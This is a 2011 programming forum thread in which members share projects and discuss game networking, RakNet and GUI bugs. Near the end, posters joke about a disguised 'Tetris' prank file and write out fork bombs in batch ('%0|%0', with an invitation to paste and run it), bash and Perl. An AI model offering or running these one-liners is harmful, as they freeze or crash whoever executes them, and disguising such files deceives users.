• What are you working on? v19
    6,590 replies, posted
Though Löve source is available for free so if you'd need something you could just work on that.
[QUOTE=icantread49;32110259]just got back from debugging why certain touch-down events wouldn't register in my scene apparently i was clicking on invisible GUI buttons because i didn't add a if (!Visible) { return; } in the GUI button handlers :v:[/QUOTE] in fact this makes a lot of sense regarding a previous incident there was an invisible toggle button which was OFF by default, but when it became visible it was already ON...that had me confused to the point where i just shrugged it off as my eyes playing tricks on me
[QUOTE=Murkrow;32110277]Though Löve source is available for free so if you'd need something you could just work on that.[/QUOTE] Yeah i guess so but i'm no way near good enough for that. I've been trying SFML the past few days, the main problems are actually structuring my programmes, like when I create a class for say Monsters, I have no clue how to make it so that each one can be Drawn and Updated.ect its abit frustrating.
Moving my engine from TCP to UDP.. Considering using RakNet for it's reliability layer, but unsure if it's worth adding a dependency for something I can roll myself. Thoughts?
[QUOTE=Downsider;32110427]Considering using RakNet for it's reliability layer[/QUOTE] Do you actually need a reliability layer at all? It seems like adding such things is just re-inventing TCP to some extent. In Quake, at least, you send a full gamestate (delta encoded from the last confirmed received update) without dependence on any other previous updates (aside from the one used for encoding). This way network updates can be entirely discarded without ill-effects if they are dropped or arrive late. It works beautifully in Q3 and many Q3-based games. In many ways I think this is more robust than having an actual 'reliability layer'. Here's an article about it: [url]http://trac.bookofhook.com/bookofhook/trac.cgi/wiki/Quake3Networking[/url]
[QUOTE=ROBO_DONUT;32110584]Do you actually need a reliability layer at all? It seems like adding such things is just re-inventing TCP to some extent. In Quake, at least, you send a full gamestate (delta encoded from the last confirmed received update) without dependence on any other previous updates (aside from the one used for encoding). This way network updates can be entirely discarded without ill-effects if they are dropped or arrive late. It works beautifully in Q3 and many Q3-based games. In many ways I think this is more robust than having an actual 'reliability layer'.[/QUOTE] I do need a reliability layer, the server transfers bytecode for scripts to the client as well as images, sounds, levels, nicknames, etc. Quake has a reliability layer too, you know. It uses reliable UDP packets for things like HUD updates, sending player names, and scoreboard.
[QUOTE=Downsider;32110632]I do need a reliability layer, the server transfers bytecode for scripts to the client as well as images, sounds, levels, nicknames, etc. Quake has a reliability layer too, you know. It uses reliable UDP packets for things like HUD updates, sending player names, and scoreboard.[/QUOTE] Just outta curiosity, do you plan on using RakNet with your Marmalade stuff or something else?
[media]http://www.youtube.com/watch?v=LmTyKcI-F90[/media] Cloth simulation Its very framerate dependant at the moment, I'm gonna do a full re-write later
I wrote my own text/font library for LWJGL. [img]http://img15.imageshack.us/img15/6136/textqx.png[/img] That's a button, by the way.
[QUOTE=icantread49;32110769]Just outta curiosity, do you plan on using RakNet with your Marmalade stuff or something else?[/QUOTE] Yeah, RakNet works as of Marmalade 5.1, where the proper threading behavior was added. [url=http://www.jenkinssoftware.com/forum/index.php?topic=4634.msg19144#new]RakNet even ships with a Marmalade project file, although due to a building bug it's not included in the download.[/url] [url=http://www.jenkinssoftware.com/raknet/manual/marmalade.html]There are also instructions on how to build/link it with Marmalade here.[/url]
After doing some research [url]http://www.google.com/#sclient=psy&hl=en&biw=1366&bih=665&source=hp&q=how+to+open+a+file+through+command+prompt&pbx=1&oq=how+to+open+a+file+through+command+prompt&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=835l14515l0l14620l78l36l5l8l9l10l1620l15926l0.2.1.2.1.3.4.6.1l20l0&bav=on.2,or.r_gc.r_pw.&fp=fe4d51c11f0a28fa[/url] I can finally say what I'm working on: A file called Tetris (tee-hee). People THINK it's harmless, and they may want to play tetris [url]http://imageshack.us/photo/my-images/692/innocence1fad.png[/url] But, when they click on it, this is what happens :D [url]http://imageshack.us/photo/my-images/546/innocence2.png[/url]
Hey, next time I post anything here I swear it's gonna be something phenomenally new, but for now here's the Giantbomb 4 player footage of Mari0 for those who missed it! It's hilarious! [media]http://www.youtube.com/watch?v=LbrEhUsIzMQ[/media] Though I guess 4 player coop video footage is sorta new, too, so don't hate me please.
[QUOTE=Mongoose;32111784]After doing some research [url]http://www.google.com/#sclient=psy&hl=en&biw=1366&bih=665&source=hp&q=how+to+open+a+file+through+command+prompt&pbx=1&oq=how+to+open+a+file+through+command+prompt&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=835l14515l0l14620l78l36l5l8l9l10l1620l15926l0.2.1.2.1.3.4.6.1l20l0&bav=on.2,or.r_gc.r_pw.&fp=fe4d51c11f0a28fa[/url] I can finally say what I'm working on: A file called Tetris (tee-hee). People THINK it's harmless, and they may want to play tetris [url]http://imageshack.us/photo/my-images/692/innocence1fad.png[/url] But, when they click on it, this is what happens :D [url]http://imageshack.us/photo/my-images/546/innocence2.png[/url][/QUOTE] That's a good plan, if the user is stupid.
[QUOTE=Maurice;32112019]Hey, next time I post anything here I swear it's gonna be something phenomenally new, but for now here's the Giantbomb 4 player footage of Mari0 for those who missed it! It's hilarious! [media]http://www.youtube.com/watch?v=LbrEhUsIzMQ[/media] Though I guess 4 player coop video footage is sorta new, too, so don't hate me please.[/QUOTE] This was hilarious.
[QUOTE=Maurice;32112019]Hey, next time I post anything here I swear it's gonna be something phenomenally new, but for now here's the Giantbomb 4 player footage of Mari0 for those who missed it! It's hilarious! [media]http://www.youtube.com/watch?v=LbrEhUsIzMQ[/media] Though I guess 4 player coop video footage is sorta new, too, so don't hate me please.[/QUOTE] I laughed so hard when the guy playing with the mouse/keyboard kicked all the others out to show them a trick with the shell and then he accidentally places a portal under him, causing him to be killed by the shell :v:
[QUOTE=Downsider;32111538]Yeah, RakNet works as of Marmalade 5.1, where the proper threading behavior was added. [url=http://www.jenkinssoftware.com/forum/index.php?topic=4634.msg19144#new]RakNet even ships with a Marmalade project file, although due to a building bug it's not included in the download.[/url] [url=http://www.jenkinssoftware.com/raknet/manual/marmalade.html]There are also instructions on how to build/link it with Marmalade here.[/url][/QUOTE] Wow that's freaking great, guess I won't have to work with any low-level sockets and such!
[QUOTE=Mongoose;32111784]After doing some research [url]http://www.google.com/#sclient=psy&hl=en&biw=1366&bih=665&source=hp&q=how+to+open+a+file+through+command+prompt&pbx=1&oq=how+to+open+a+file+through+command+prompt&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=835l14515l0l14620l78l36l5l8l9l10l1620l15926l0.2.1.2.1.3.4.6.1l20l0&bav=on.2,or.r_gc.r_pw.&fp=fe4d51c11f0a28fa[/url] I can finally say what I'm working on: A file called Tetris (tee-hee). People THINK it's harmless, and they may want to play tetris [url]http://imageshack.us/photo/my-images/692/innocence1fad.png[/url] But, when they click on it, this is what happens :D [url]http://imageshack.us/photo/my-images/546/innocence2.png[/url][/QUOTE] I never open a .bat file without checking it's source first. I'm extremely paranoid. :tinfoil:
[QUOTE=eloreda;32080624][URL="http://img7.imagebanana.com/img/oxzjyjjm/grav_pred.gif"]http://img7.imagebanana.com/img/oxzjyjjm/grav_pred.gif[/URL] Player gravity prediction (to [I][B]predict airshots[/B][/I] etc.)[/QUOTE] Extreme low-quality(every codec hates me :() direct hit prediction progress: [video=youtube;nU9aWga2awU]http://www.youtube.com/watch?v=nU9aWga2awU[/video]
That quality is much better than half of the videos I've seen on Youtube, it's fine. :)
[QUOTE=Mongoose;32111784]After doing some research [url]http://www.google.com/#sclient=psy&hl=en&biw=1366&bih=665&source=hp&q=how+to+open+a+file+through+command+prompt&pbx=1&oq=how+to+open+a+file+through+command+prompt&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=835l14515l0l14620l78l36l5l8l9l10l1620l15926l0.2.1.2.1.3.4.6.1l20l0&bav=on.2,or.r_gc.r_pw.&fp=fe4d51c11f0a28fa[/url] I can finally say what I'm working on: A file called Tetris (tee-hee). People THINK it's harmless, and they may want to play tetris [url]http://imageshack.us/photo/my-images/692/innocence1fad.png[/url] But, when they click on it, this is what happens :D [url]http://imageshack.us/photo/my-images/546/innocence2.png[/url][/QUOTE] teeheehee they're'll never see it coming xD
[QUOTE=Mongoose;32111784] But, when they click on it, this is what happens :D [/QUOTE] [csharp] @echo off start tetris.bat echo I'm a l33t hacker just like Mongoose pause>nul [/csharp]
[QUOTE=amcfaggot;32066737]Heads up: Half-Life 2 Sandbox[/QUOTE] You are going to beat Garry's Mod easily. JBMod may be a problem.
Maybe this is why garry is working on a Secret Update Through fear of HL2 Sandbox
Ughh, coding GUI's is boring as hell. At-least its done now. [img]http://i.imgur.com/MvZse.png[/img] And more to the point, as long as I keep the resolution to a 4:3 aspect ratio it will look exactly the same as it does there
I want to export a class from a project along with all the classes it uses to another project. Basically I want to use Mono's HttpListener but without mono :P. I am pretty sure resharper can do this. Does anyone know if it can?
[QUOTE=chimitos;32114315][csharp] @echo off start tetris.bat echo I'm a l33t hacker just like Mongoose pause>nul [/csharp][/QUOTE] [cpp] %0|%0 [/cpp] Paste this into a.bat or something and run it. Especially if you have an old CPU. [editline]4th September 2011[/editline] Also: Watch taskmgr.exe
[QUOTE=DeadKiller987;32115874][cpp] %0|%0 [/cpp] Paste this into a.bat or something and run it. Especially if you have an old CPU. [editline]4th September 2011[/editline] Also: Watch taskmgr.exe[/QUOTE] I remember doing this in high school
[QUOTE=DeadKiller987;32115874][cpp] %0|%0 [/cpp] Paste this into a.bat or something and run it. Especially if you have an old CPU. [editline]4th September 2011[/editline] Also: Watch taskmgr.exe[/QUOTE] There's more effective ways of fork bombing, actually.
[QUOTE=DeadKiller987;32115874][cpp] %0|%0 [/cpp] Paste this into a.bat or something and run it. Especially if you have an old CPU. [editline]4th September 2011[/editline] Also: Watch taskmgr.exe[/QUOTE] And for the Linux (actually, Bash/zsh/generic UNIX shell) users among us: [code]:(){ :|:& };:[/code]
[code]fork while fork[/code] That's the funniest piece of code I've ever seen (it's Perl)
Sorry, you need to Log In to post a reply to this thread.